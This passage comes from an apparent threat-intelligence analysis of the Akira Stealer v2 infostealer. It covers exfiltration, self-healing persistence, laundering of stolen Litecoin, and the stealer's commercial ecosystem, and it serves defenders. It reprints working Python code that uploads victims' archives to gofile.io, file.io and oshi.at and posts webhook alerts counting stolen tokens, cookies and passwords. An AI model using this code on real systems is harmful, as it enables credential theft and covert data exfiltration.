rel)\n",[1584,15624,15625],{"class":1586,"line":10558},[1584,15626,15627],{},"    return zip_path\n",[2733,15629,15630],{},[2736,15631,15632,15633,15636],{},"Archive named ",[1546,15634,15635],{},"DESKTOP1234_20250505T123456Z.zip"," for host coherence.",[806,15638,15639],{},[1732,15640,15641],{},"ZIP Filename Convention",[806,15643,15644],{},"The archive is named using the compromised host’s computer name followed by a UTC timestamp in ISO format, ensuring uniqueness and chronological order.",[1540,15646,15648],{"className":10008,"code":15647,"language":10010,"meta":863,"style":863},"import datetime, os\n\ndef create_archive(root_dir: str) -> str:\n    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    return zip_path\n",[1546,15649,15650,15655,15659,15663,15668,15672,15677,15681,15685],{"__ignoreMap":863},[1584,15651,15652],{"class":1586,"line":1587},[1584,15653,15654],{},"import datetime, os\n",[1584,15656,15657],{"class":1586,"line":864},[1584,15658,9372],{"emptyLinePlaceholder":508},[1584,15660,15661],{"class":1586,"line":1810},[1584,15662,15577],{},[1584,15664,15665],{"class":1586,"line":1827},[1584,15666,15667],{},"    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n",[1584,15669,15670],{"class":1586,"line":2131},[1584,15671,15582],{},[1584,15673,15674],{"class":1586,"line":2137},[1584,15675,15676],{},"    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n",[1584,15678,15679],{"class":1586,"line":2143},[1584,15680,15587],{},[1584,15682,15683],{"class":1586,"line":2149},[1584,15684,15592],{},[1584,15686,15687],{"class":1586,"line":2155},[1584,15688,15627],{},[806,15690,15644],{},[1667,15692,15694],{"id":15693},"_7144-upload-workflow","7.14.4 Upload Workflow",[806,15696,1673],{},[806,15698,15699],{},"Akira uses a three-tier upload strategy to maximize the chance of successful data exfiltration. It first attempts to upload the archive to GoFile.io using their public API, which returns a download link. If GoFile is unavailable or blocked, it falls back to File.io and then Oshi.at, ensuring the data is always transferred. These services provide anonymous, short-lived hosting, which makes takedown and traceability difficult. The script captures the final download URL and prepares it for webhook delivery.",[4349,15701,15702,15734,15761],{},[2736,15703,15704,15707],{},[1732,15705,15706],{},"Primary: GoFile.io",[2733,15708,15709,15717,15725],{},[2736,15710,15711,2540,15714],{},[1732,15712,15713],{},"API to fetch servers",[1546,15715,15716],{},"GET https://api.gofile.io/servers",[2736,15718,15719,2540,15722],{},[1732,15720,15721],{},"Upload endpoint",[1546,15723,15724],{},"POST https://\u003Cserver>.gofile.io/contents/uploadfile",[2736,15726,15727,2540,15730,15733],{},[1732,15728,15729],{},"Response field",[1546,15731,15732],{},"data.downloadPage"," contains final URL.",[2736,15735,15736,15739],{},[1732,15737,15738],{},"Fallback #1: File.io",[2733,15740,15741,15751],{},[2736,15742,15743,2540,15745,6807,15748],{},[1732,15744,15721],{},[1546,15746,15747],{},"POST https://file.io/",[1546,15749,15750],{},"files={'file': open(...)}",[2736,15752,15753,15756,15757,15760],{},[1732,15754,15755],{},"Response",": JSON ",[1546,15758,15759],{},"link"," field.",[2736,15762,15763,15766],{},[1732,15764,15765],{},"Fallback #2: Oshi.at",[2733,15767,15768,15782],{},[2736,15769,15770,2540,15772,6807,15775,15778,15779,2491],{},[1732,15771,15721],{},[1546,15773,15774],{},"POST http://oshi.at/",[1546,15776,15777],{},"files[]"," and parameters ",[1546,15780,15781],{},"expire=43200, autodestroy=0",[2736,15783,15784,15786,15787,2491],{},[1732,15785,15755],{},": Plain text containing ",[1546,15788,15789],{},"DL: \u003Curl>",[806,15791,15792],{},[1732,15793,15794],{},"Implementation Snippet:",[1540,15796,15798],{"className":10008,"code":15797,"language":10010,"meta":863,"style":863},"import requests\n\ndef upload_with_fallback(zip_path):\n    # GoFile\n    try:\n        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n        for srv in servers:\n            try:\n                r = requests.post(\n                    f'https://{srv}.gofile.io/contents/uploadfile',\n                    files={'file': open(zip_path,'rb')}, timeout=20)\n                url = r.json()['data']['downloadPage']\n                if url: return url\n            except: continue\n    except: pass\n    # File.io\n    try:\n        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n        return r.json().get('link','')\n    except: pass\n    # Oshi.at\n    try:\n        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n        return text.split('DL: ')[1].strip()\n    except: pass\n    return ''\n",[1546,15799,15800,15805,15809,15814,15819,15823,15828,15833,15838,15843,15848,15853,15858,15863,15868,15873,15878,15882,15887,15892,15896,15901,15905,15910,15915,15919],{"__ignoreMap":863},[1584,15801,15802],{"class":1586,"line":1587},[1584,15803,15804],{},"import requests\n",[1584,15806,15807],{"class":1586,"line":864},[1584,15808,9372],{"emptyLinePlaceholder":508},[1584,15810,15811],{"class":1586,"line":1810},[1584,15812,15813],{},"def upload_with_fallback(zip_path):\n",[1584,15815,15816],{"class":1586,"line":1827},[1584,15817,15818],{},"    # GoFile\n",[1584,15820,15821],{"class":1586,"line":2131},[1584,15822,10661],{},[1584,15824,15825],{"class":1586,"line":2137},[1584,15826,15827],{},"        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n",[1584,15829,15830],{"class":1586,"line":2143},[1584,15831,15832],{},"        for srv in servers:\n",[1584,15834,15835],{"class":1586,"line":2149},[1584,15836,15837],{},"            try:\n",[1584,15839,15840],{"class":1586,"line":2155},[1584,15841,15842],{},"                r = requests.post(\n",[1584,15844,15845],{"class":1586,"line":2161},[1584,15846,15847],{},"                    f'https://{srv}.gofile.io/contents/uploadfile',\n",[1584,15849,15850],{"class":1586,"line":10546},[1584,15851,15852],{},"                    files={'file': open(zip_path,'rb')}, timeout=20)\n",[1584,15854,15855],{"class":1586,"line":10552},[1584,15856,15857],{},"                url = r.json()['data']['downloadPage']\n",[1584,15859,15860],{"class":1586,"line":10558},[1584,15861,15862],{},"                if url: return url\n",[1584,15864,15865],{"class":1586,"line":10564},[1584,15866,15867],{},"            except: continue\n",[1584,15869,15870],{"class":1586,"line":10570},[1584,15871,15872],{},"    except: pass\n",[1584,15874,15875],{"class":1586,"line":10576},[1584,15876,15877],{},"    # File.io\n",[1584,15879,15880],{"class":1586,"line":10582},[1584,15881,10661],{},[1584,15883,15884],{"class":1586,"line":10588},[1584,15885,15886],{},"        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n",[1584,15888,15889],{"class":1586,"line":10594},[1584,15890,15891],{},"        return r.json().get('link','')\n",[1584,15893,15894],{"class":1586,"line":10600},[1584,15895,15872],{},[1584,15897,15898],{"class":1586,"line":10606},[1584,15899,15900],{},"    # Oshi.at\n",[1584,15902,15903],{"class":1586,"line":10612},[1584,15904,10661],{},[1584,15906,15907],{"class":1586,"line":10618},[1584,15908,15909],{},"        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n",[1584,15911,15912],{"class":1586,"line":10624},[1584,15913,15914],{},"        return text.split('DL: ')[1].strip()\n",[1584,15916,15917],{"class":1586,"line":10630},[1584,15918,15872],{},[1584,15920,15921],{"class":1586,"line":11297},[1584,15922,15923],{},"    return ''\n",[1667,15925,15927],{"id":15926},"_7155-webhook-alerts-attacker-retrieval-analyst-visibility-limits","7.15.5 Webhook Alerts, Attacker Retrieval & Analyst Visibility Limits",[806,15929,1673],{},[806,15931,15932],{},"After uploading the ZIP archive, Akira sends a webhook notification—typically to Discord or Telegram—with a structured embed containing detailed information: number of stolen tokens, cookie count, file size, and a clickable download link. This gives attackers immediate feedback and retrieval access. To ensure reliability, a plaintext fallback message is also sent, containing just the archive link. This redundancy guarantees delivery, even if the embed is blocked by the platform or filtered. From the defender’s perspective, these communications are often invisible unless outbound network monitoring is in place.",[806,15934,15935],{},[1732,15936,15937],{},"Embed Notification",[1540,15939,15941],{"className":10008,"code":15940,"language":10010,"meta":863,"style":863},"# Build embed with key metadata\ntoken_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\nfields = [\n    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n]\npayload = {\n    'username':'Akira 💊',\n    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n}\nrequests.post(webhook_url, json=payload, timeout=8)\n",[1546,15942,15943,15948,15953,15958,15963,15968,15973,15978,15983,15987,15992,15997,16002,16006],{"__ignoreMap":863},[1584,15944,15945],{"class":1586,"line":1587},[1584,15946,15947],{},"# Build embed with key metadata\n",[1584,15949,15950],{"class":1586,"line":864},[1584,15951,15952],{},"token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\n",[1584,15954,15955],{"class":1586,"line":1810},[1584,15956,15957],{},"fields = [\n",[1584,15959,15960],{"class":1586,"line":1827},[1584,15961,15962],{},"    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n",[1584,15964,15965],{"class":1586,"line":2131},[1584,15966,15967],{},"    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n",[1584,15969,15970],{"class":1586,"line":2137},[1584,15971,15972],{},"    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n",[1584,15974,15975],{"class":1586,"line":2143},[1584,15976,15977],{},"    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n",[1584,15979,15980],{"class":1586,"line":2149},[1584,15981,15982],{},"    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n",[1584,15984,15985],{"class":1586,"line":2155},[1584,15986,13440],{},[1584,15988,15989],{"class":1586,"line":2161},[1584,15990,15991],{},"payload = {\n",[1584,15993,15994],{"class":1586,"line":10546},[1584,15995,15996],{},"    'username':'Akira 💊',\n",[1584,15998,15999],{"class":1586,"line":10552},[1584,16000,16001],{},"    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n",[1584,16003,16004],{"class":1586,"line":10558},[1584,16005,7938],{},[1584,16007,16008],{"class":1586,"line":10564},[1584,16009,16010],{},"requests.post(webhook_url, json=payload, timeout=8)\n",[2733,16012,16013,16019],{},[2736,16014,16015,16018],{},[1732,16016,16017],{},"Delivery",": Sent to the attacker’s Discord/Telegram channel.",[2736,16020,16021,16024,16025,16028],{},[1732,16022,16023],{},"Embed Link",": Contains a clickable ",[1546,16026,16027],{},"download_url"," pointing to the ZIP on GoFile (or fallback host).",[806,16030,16031],{},[1732,16032,16033],{},"Raw Link Fallback",[1540,16035,16037],{"className":10008,"code":16036,"language":10010,"meta":863,"style":863},"# Ensure attacker always has direct URL, even if embeds fail\nmessage = f\"📥 Archive available at: {download_url}\"\nrequests.post(webhook_url, data={'message': message}, timeout=8)\n",[1546,16038,16039,16044,16049],{"__ignoreMap":863},[1584,16040,16041],{"class":1586,"line":1587},[1584,16042,16043],{},"# Ensure attacker always has direct URL, even if embeds fail\n",[1584,16045,16046],{"class":1586,"line":864},[1584,16047,16048],{},"message = f\"📥 Archive available at: {download_url}\"\n",[1584,16050,16051],{"class":1586,"line":1810},[1584,16052,16053],{},"requests.post(webhook_url, data={'message': message}, timeout=8)\n",[2733,16055,16056],{},[2736,16057,16058,16061],{},[1732,16059,16060],{},"Plain Text",": Guarantees delivery of the link in case embeds are blocked or silently dropped.",[806,16063,16064],{},[1732,16065,16066],{},"How the Attacker Retrieves the Link",[806,16068,16069,16072],{},[1732,16070,16071],{},"1. Webhook Infrastructure","\nThe attacker embeds the webhook endpoint in the malware configuration:",[1540,16074,16076],{"className":10008,"code":16075,"language":10010,"meta":863,"style":863},"# at class initialization\nself.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[1546,16077,16078,16083],{"__ignoreMap":863},[1584,16079,16080],{"class":1586,"line":1587},[1584,16081,16082],{},"# at class initialization\n",[1584,16084,16085],{"class":1586,"line":864},[1584,16086,16087],{},"self.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[2733,16089,16090,16097],{},[2736,16091,16092,2540,16094],{},[1732,16093,6868],{},[1546,16095,16096],{},"https://discord.com/api/webhooks/\u003CWEBHOOK_ID>/\u003CWEBHOOK_TOKEN>",[2736,16098,16099,2540,16102],{},[1732,16100,16101],{},"Telegram",[1546,16103,16104],{},"https://api.telegram.org/bot\u003CTELEGRAM_TOKEN>/sendMessage",[806,16106,16107,16110],{},[1732,16108,16109],{},"2. Real-Time Delivery","\nImmediately after a successful file upload, the malware executes:",[1540,16112,16114],{"className":10008,"code":16113,"language":10010,"meta":863,"style":863},"payload = {\n  'username': 'Akira 💊',\n  'embeds': [{\n      'title': '🗄️ Exfiltration Complete',\n      'fields': [\n          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n      ]\n  }]\n}\n# Transmit the archive URL entirely in the JSON body\nrequests.post(self.default_webhook, json=payload, timeout=8)\n",[1546,16115,16116,16120,16125,16130,16135,16140,16145,16150,16155,16159,16164],{"__ignoreMap":863},[1584,16117,16118],{"class":1586,"line":1587},[1584,16119,15991],{},[1584,16121,16122],{"class":1586,"line":864},[1584,16123,16124],{},"  'username': 'Akira 💊',\n",[1584,16126,16127],{"class":1586,"line":1810},[1584,16128,16129],{},"  'embeds': [{\n",[1584,16131,16132],{"class":1586,"line":1827},[1584,16133,16134],{},"      'title': '🗄️ Exfiltration Complete',\n",[1584,16136,16137],{"class":1586,"line":2131},[1584,16138,16139],{},"      'fields': [\n",[1584,16141,16142],{"class":1586,"line":2137},[1584,16143,16144],{},"          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n",[1584,16146,16147],{"class":1586,"line":2143},[1584,16148,16149],{},"      ]\n",[1584,16151,16152],{"class":1586,"line":2149},[1584,16153,16154],{},"  }]\n",[1584,16156,16157],{"class":1586,"line":2155},[1584,16158,7938],{},[1584,16160,16161],{"class":1586,"line":2161},[1584,16162,16163],{},"# Transmit the archive URL entirely in the JSON body\n",[1584,16165,16166],{"class":1586,"line":10546},[1584,16167,16168],{},"requests.post(self.default_webhook, json=payload, timeout=8)\n",[2733,16170,16171,16179],{},[2736,16172,1880,16173,16175,16176,2491],{},[1546,16174,16027],{}," variable is interpolated into the embed’s ",[1546,16177,16178],{},"fields.value",[2736,16180,16181,16182,16184,16185,7742],{},"For Telegram fallback, the ",[1546,16183,16027],{}," appears in the plain-text ",[1546,16186,930],{},[806,16188,16189],{},[1732,16190,16191],{},"3. EDR & Forensic Visibility Limitations",[2733,16193,16194,16203],{},[2736,16195,16196,16199,16200,16202],{},[1732,16197,16198],{},"No Local Logging",": The malware does not write the ",[1546,16201,16027],{}," to disk or system logs.",[2736,16204,16205,16208],{},[1732,16206,16207],{},"EDR Blind Spots",": Tools like Microsoft Defender for Endpoint may flag the HTTP request attempt but cannot extract the embedded URL.",[806,16210,16211],{},[1732,16212,16213],{},"4. Why the Analyst Cannot Recover This Locally:",[2733,16215,16216,16229,16248],{},[2736,16217,16218,16221,16222,16224,16225,16228],{},[1732,16219,16220],{},"No Local Copy of Link",": The malware writes the ",[1546,16223,16027],{}," only in memory and transmits it over the network; it does ",[4653,16226,16227],{},"not"," save this URL to disk or logs.",[2736,16230,16231,16234,16235,16237,2776,16242,16244,16245,2491],{},[1732,16232,16233],{},"Ephemeral Staging Cleanup",": Immediately after upload, the code executes:",[2012,16236],{},[1584,16238,16241],{"className":16239},[16240],"text-monospace","shutil.rmtree(ROOT)",[2012,16243],{},"\nerasing all staged artifacts (including any transient text files) from ",[1546,16246,16247],{},"%TEMP%",[2736,16249,16250,16253,16254,16257],{},[1732,16251,16252],{},"Network-Only Transmission",": Webhook calls (",[1546,16255,16256],{},"requests.post",") occur in-memory; no HTTP logs or browser history entries are created on the victim machine.",[3589,16259,16260],{},[806,16261,16262,16265,16266,16268,16269,16271],{},[1732,16263,16264],{},"Implication for Analysts:","\nWithout live packet capture (e.g., network TAP or proxy) at the time of execution, the exact ",[1546,16267,16027],{}," is unrecoverable post-infection.\nAdditionally, the exfiltrated archive is auto-deleted from the hosting service, further reducing the window for forensic retrieval.\nPost-infection imaging or host-based forensic recovery will ",[4653,16270,16227],{}," reveal the attacker’s URL or file host credentials, as no artifacts remain locally.",[1536,16273],{"className":16274},[6385,6386],[810,16276,16278],{"id":16277},"_713-conclusion","7.13 Conclusion",[806,16280,1531],{},[806,16282,16283,16285],{},[1546,16284,6153],{}," (Akira Stealer v2) is a comprehensive, commercially distributed stealer toolkit. It combines extensive targeting, sophisticated anti-analysis, dynamic infrastructure control, and full-stack data theft across credentials, crypto, system profiling, and user files. Its modularity and stealth, combined with rapid reinfection methods, make it one of the most technically advanced stealers observed in active deployment.",[1511,16287,16289],{"id":16288},"_8-circular-execution-chain-a-self-healing-loop","8. Circular Execution Chain: A Self-Healing Loop",[806,16291,816],{},[806,16293,16294,16295,16298],{},"One of the most technically sophisticated elements of this campaign is its regenerative, circular execution model. Unlike conventional malware with linear stages that flow from dropper to payload and then vanish, this operation was engineered like a ",[1732,16296,16297],{},"closed loop"," — where every component watches over the others.",[806,16300,16301,16302,16305],{},"This ",[1732,16303,16304],{},"self-healing architecture"," made the infection chain not only persistent, but also autonomous. It could fully recover from partial removals. As long as one piece remained alive, the entire malware ecosystem could reassemble itself.",[810,16307,16309],{"id":16308},"_81-behavioral-breakdown","8.1 Behavioral Breakdown",[806,16311,1531],{},[4349,16313,16314,16340,16353,16384,16402],{},[2736,16315,16316,16321,16323,16324,16327,16328,16330,16331,16333,16334,16336,16337,16339],{},[1732,16317,16318,16319,2767],{},"Persistence Anchor (",[1546,16320,6145],{},[1546,16322,6145],{}," acts as the foundational foothold. It is typically dropped into a Windows user startup location, such as ",[1546,16325,16326],{},"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup",", or registered via ",[1546,16329,7194],{},". Its job is simple but critical: ensure ",[1546,16332,6149],{}," is present and launch it silently during user logon. If ",[1546,16335,6149],{}," is missing, it re-extracts the archive ",[1546,16338,7360],{}," (located in a temp folder or dropped anew), regenerating the full Electron app structure.",[2736,16341,16342,16347,16349,16350,16352],{},[1732,16343,16344,16345,2767],{},"Bridge Loader (",[1546,16346,6149],{},[1546,16348,6149],{}," is the Electron-wrapped Node.js application. It doesn’t expose any GUI and operates entirely in the background. Upon execution, it runs the embedded JavaScript logic within ",[1546,16351,6599],{},", using Node.js as a runtime environment. This abstraction layer decouples the core logic from the PE stub, helping to evade traditional analysis.",[2736,16354,16355,16360,16361,16363,16364],{},[1732,16356,16357,16358,2767],{},"Execution Orchestrator (",[1546,16359,8337],{},"\nEmbedded within ",[1546,16362,6599],{},", this is the true controller of the infection chain. Its key functions include:",[2733,16365,16366,16372,16375],{},[2736,16367,16368,16369,16371],{},"Checking for the presence of ",[1546,16370,6145],{}," and redeploying it if missing",[2736,16373,16374],{},"Dynamically injecting runtime configuration: webhook URLs, C2 addresses, tokens",[2736,16376,16377,16378,16380,16381,16383],{},"Either invoking the already-present Python payload (",[1546,16379,6153],{},") or downloading it as part of a ZIP bundle (e.g., ",[1546,16382,8401],{},") from attacker-controlled infrastructure",[2736,16385,16386,16391,16392,16394,16395,16397,16398,16401],{},[1732,16387,16388,16389,2767],{},"Payload Execution (",[1546,16390,6153],{},"\nOnce triggered, ",[1546,16393,6153],{}," executes in memory via ",[1546,16396,6125],{},". It systematically collects saved credentials, cookies, Discord tokens, browser session data, and cryptocurrency wallet extensions. The data is staged in a ZIP archive and exfiltrated via HTTPS — commonly to Discord webhooks, but fallback APIs like ",[1546,16399,16400],{},"gofile.io"," or custom C2 endpoints have also been observed.",[2736,16403,16404,16407,16408,16410,16411,16413,16414,16416,16417,16419,16420,16422],{},[1732,16405,16406],{},"Loop Integrity and Self-Healing","\nThe design is circular. If ",[1546,16409,6145],{}," is deleted, it will be redeployed. If ",[1546,16412,6149],{}," is missing, ",[1546,16415,6145],{}," re-extracts it from ",[1546,16418,7360],{},". If ",[1546,16421,6153],{}," is deleted, it is re-obtained by the JavaScript layer. This interdependency makes the malware resilient and capable of reconstructing its execution chain from virtually any surviving fragment.",[806,16424,16425,16426,16429],{},"This architecture is not just modular — it’s ",[1732,16427,16428],{},"self-sustaining",", deliberately engineered for stealth, flexibility, and long-term survivability in target environments.",[810,16431,16433],{"id":16432},"_82-why-this-is-noteworthy","8.2 Why This Is Noteworthy",[806,16435,1531],{},[806,16437,16438,16439,2491],{},"The campaign’s architectural design reflects a level of sophistication not typically seen in commodity infostealers. It goes beyond simple multi-stage loaders — this is malware engineered for ",[1732,16440,16441],{},"operational resilience, stealth, and automation",[806,16443,16444],{},[1732,16445,16446],{},"Key Characteristics",[2733,16448,16449,16455,16492,16512],{},[2736,16450,16451,16454],{},[1732,16452,16453],{},"Full Autonomy","\nOnce deployed, the malware requires no user interaction or external reactivation. It acts like a malicious microservice — orchestrating its own persistence, payload execution, and repair routines without external control.",[2736,16456,16457,16460,16461],{},[1732,16458,16459],{},"Multi-Language Execution Stack","\nThe toolchain integrates:",[2733,16462,16463,16472,16478,16484],{},[2736,16464,16465,2881,16468,2285,16470,2767],{},[1732,16466,16467],{},"PE Binaries",[1546,16469,6145],{},[1546,16471,6149],{},[2736,16473,16474,16477],{},[1732,16475,16476],{},"Node.js / JavaScript"," (via Electron)",[2736,16479,16480,16483],{},[1732,16481,16482],{},"PowerShell"," (used for obfuscated payload relay)",[2736,16485,16486,2881,16489,16491],{},[1732,16487,16488],{},"Python",[1546,16490,6153],{},", executed as memory-resident stealer)\nThis layered composition makes it harder to profile, fingerprint, and analyze using conventional static tools.",[2736,16493,16494,16497,16498],{},[1732,16495,16496],{},"Defense Evasion by Design","\nEvery component is encoded, encrypted, or dynamically injected:",[2733,16499,16500,16503,16506,16509],{},[2736,16501,16502],{},"Base64 PowerShell relay",[2736,16504,16505],{},"AES-encrypted and GZIP-compressed Python core",[2736,16507,16508],{},"Obfuscated JavaScript with runtime token injection",[2736,16510,16511],{},"Self-healing behavior that frustrates partial removal",[2736,16513,16514,16517,16518,16419,16521,16523,16524,16526],{},[1732,16515,16516],{},"No Single Point of Failure","\nThe malware’s self-repair logic ensures that ",[1732,16519,16520],{},"removal of a single component is insufficient",[1546,16522,6145],{}," is removed, the info stealer recreates it. If ",[1546,16525,6153],{}," is deleted, it is redownloaded and redeployed by the JavaScript controller.",[806,16528,16529,16530,16533],{},"In short, the malware behaves more like a ",[1732,16531,16532],{},"distributed system"," than a typical payload — one that prioritizes survivability, modularity, and stealth.",[806,16535,16536,16537,16540],{},"This elevates the threat from an opportunistic attack to a ",[1732,16538,16539],{},"resilient, adaptive platform"," — requiring defenders to match its complexity with equally layered detection and response strategies.",[810,16542,16544],{"id":16543},"_83-implications-for-blue-teams","8.3 Implications for Blue Teams",[806,16546,1531],{},[806,16548,16549],{},"For defenders and CSOC operators, this kind of architecture raises the bar:",[2733,16551,16552,16558,16573],{},[2736,16553,16554,16557],{},[1732,16555,16556],{},"Partial cleanup is ineffective",". All nodes must be identified and removed simultaneously.",[2736,16559,16560,16563,16564,16566,16567,16566,16569,16566,16571,2491],{},[1732,16561,16562],{},"Defender for Endpoint correlation"," is essential. Analysts must trace full chains: from ",[1546,16565,6145],{}," → ",[1546,16568,6654],{},[1546,16570,6749],{},[1546,16572,6125],{},[2736,16574,16575,16578],{},[1732,16576,16577],{},"IOC-free persistence"," means memory-based heuristics, telemetry baselining, and chain-based detection are key.",[806,16580,16581,16582,16585],{},"This isn’t just a stealer. It’s a ",[1732,16583,16584],{},"resilient malware platform"," — behaving more like a distributed system than a simple threat. And that’s exactly what makes it both impressive and dangerous.",[1511,16587,16589],{"id":16588},"_9-blockchain-tracking-and-analysis","9. Blockchain Tracking and Analysis",[806,16591,816],{},[810,16593,16595],{"id":16594},"_91-tracing-fund-distribution-in-a-litecoin-based-malware-campaign","9.1 Tracing Fund Distribution in a Litecoin-Based Malware Campaign",[806,16597,1531],{},[806,16599,16600,16601,16604],{},"During the reverse engineering phase of this malware campaign, we extracted multiple hardcoded wallet addresses used by the stealer for cryptocurrency exfiltration. By following the on-chain activity of these Litecoin wallets, we were able to uncover patterns indicative of deliberate money laundering tactics. The attacker-controlled wallet ",[1546,16602,16603],{},"LW6EopiZ..."," acts as a central aggregation point. Funds stolen from multiple victims are funneled into this address, after which they are rapidly redistributed across multiple new addresses.",[806,16606,16607],{},"The behavior seen here is representative of a classic split-transfer pattern used in crypto tumbling or mixing operations. In each instance, the full incoming balance is divided into two roughly proportional outbound transactions, each sent to a different wallet. This strategy is designed to hinder address clustering and chain tracing by obfuscating the provenance of funds. It’s an effective tactic to evade detection by automated blockchain analytics and threat intelligence platforms.",[806,16609,16610],{},"This laundering behavior leverages a combination of transaction timing, precise value splitting, and address reuse minimization to bypass heuristics commonly applied by clustering algorithms like those used in GraphSense, Chainalysis, or TRM Labs. The overall intent is to create high-entropy transactional flows, which confuse attribution and disrupt linkability, especially when the funds are eventually bridged across other assets or swapped into privacy-focused coins.",[806,16612,16613],{},"In the example below, we show a structured subset of this behavior. The incoming transactions represent distinct victim transfers. These values are then perfectly mapped to outbound flows, showing the coins being \"washed\" through fast, predictable, and algorithmically split payouts.",[1898,16615,1901,16618],{"className":16616,"style":10199},[16617],"font-size-1",[1919,16619,16620,1901,16643,1901,16675,1901,16703,1901,16732],{},[1907,16621,1905,16622,1905,16626,1905,16630,1905,16633,1905,16637,1905,16640,1901],{},[1911,16623,16625],{"style":16624},"text-align: left; width: 14%;","Input Source",[1911,16627,16629],{"style":16628},"text-align: left; width: 12%;","Input Date",[1911,16631,16632],{"style":16624},"Amount In (LTC)",[1911,16634,16636],{"style":16635},"text-align: left; width: 20%;","→ Attacker Wallet",[1911,16638,16639],{"style":11820},"Output Addresses",[1911,16641,16642],{"style":10368},"Total Out (LTC)",[1907,16644,1905,16645,1905,16648,1905,16651,1905,16654,1905,16660,1905,16673,1901],{},[1924,16646,16647],{},"Input_1",[1924,16649,16650],{},"2024-09-21",[1924,16652,16653],{},"0.25339198",[1924,16655,1909,16656,1905],{},[1584,16657,16659],{"title":16658},"LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH","LLQtaBnSAF...",[1924,16661,16662,16663,16666,16667,16662,16669,16672],{},"\n      - ",[1546,16664,16665],{},"LZmHkgkED..."," (0.15579078, 2024-09-26)",[2012,16668],{},[1546,16670,16671],{},"M8JpDsw5H7..."," (0.09760120, 2024-09-26)\n    ",[1924,16674,16653],{},[1907,16676,1905,16677,1905,16680,1905,16683,1905,16686,1905,16690,1905,16701,1901],{"style":10224},[1924,16678,16679],{},"Input_2",[1924,16681,16682],{},"2024-04-16",[1924,16684,16685],{},"1.09976044",[1924,16687,1909,16688,1905],{},[1584,16689,16659],{"title":16658},[1924,16691,16662,16692,16695,16696,16662,16698,16700],{},[1546,16693,16694],{},"LgWrCAF8ED..."," (0.84304664, 2024-06-13)",[2012,16697],{},[1546,16699,16694],{}," (0.25671380, 2024-06-13)\n    ",[1924,16702,16685],{},[1907,16704,1905,16705,1905,16708,1905,16711,1905,16714,1905,16718,1905,16730,1901],{},[1924,16706,16707],{},"Input_3",[1924,16709,16710],{},"2024-03-06",[1924,16712,16713],{},"0.77089346",[1924,16715,1909,16716,1905],{},[1584,16717,16659],{"title":16658},[1924,16719,16662,16720,16723,16724,16662,16726,16729],{},[1546,16721,16722],{},"LZL3wQcSRP..."," (0.38544673, 2024-03-04)",[2012,16725],{},[1546,16727,16728],{},"M8kiBpVHG3..."," (0.38544673, 2024-03-04)\n    ",[1924,16731,16713],{},[1907,16733,1905,16734,1905,16737,1905,16739,1905,16741,1905,16745,1905,16755,1901],{"style":10224},[1924,16735,16736],{},"Input_4",[1924,16738,16710],{},[1924,16740,16713],{},[1924,16742,1909,16743,1905],{},[1584,16744,16659],{"title":16658},[1924,16746,16662,16747,16723,16750,16662,16752,16729],{},[1546,16748,16749],{},"LUFLTrqYpix...",[2012,16751],{},[1546,16753,16754],{},"La22dfH9eM...",[1924,16756,16713],{},[1536,16758],{"className":16759},[6385,6386],[1511,16761,16763],{"id":16762},"_10-inside-the-akira-ecosystem-commercialized-cybercrime-infrastructure","10. Inside the Akira Ecosystem – Commercialized Cybercrime Infrastructure",[806,16765,816],{},[806,16767,16768],{},"Akira is not just a stealer—it’s the centerpiece of a thriving underground ecosystem designed to simplify, scale, and monetize cybercrime.",[810,16770,16772],{"id":16771},"_101-a-plug-and-play-ecosystem-for-threat-actors","10.1 A Plug-and-Play Ecosystem for Threat Actors",[806,16774,1531],{},[806,16776,16777],{},"The Akira ecosystem exemplifies the evolution of cybercrime into a professionalized, service-driven economy. It includes:",[2733,16779,16780,16789,16795,16801,16807],{},[2736,16781,16782,16785,16786,2767],{},[1732,16783,16784],{},"Builder Bots"," for on-demand payload generation (e.g., ",[1546,16787,16788],{},"@AkiraRedBot",[2736,16790,16791,16794],{},[1732,16792,16793],{},"Telegram channels"," for updates, feature requests, and customer support",[2736,16796,16797,16800],{},[1732,16798,16799],{},"Automated licensing and payment handling",", often via direct messages or anonymous e-commerce platforms like Sellix",[2736,16802,16803,16806],{},[1732,16804,16805],{},"Bundled modules"," such as clipboard hijackers, Discord token loggers, browser data stealers, and even ransomware add-ons",[2736,16808,16809,16812],{},[1732,16810,16811],{},"Customizable payloads"," with configuration interfaces allowing toggles, webhook input, and icon 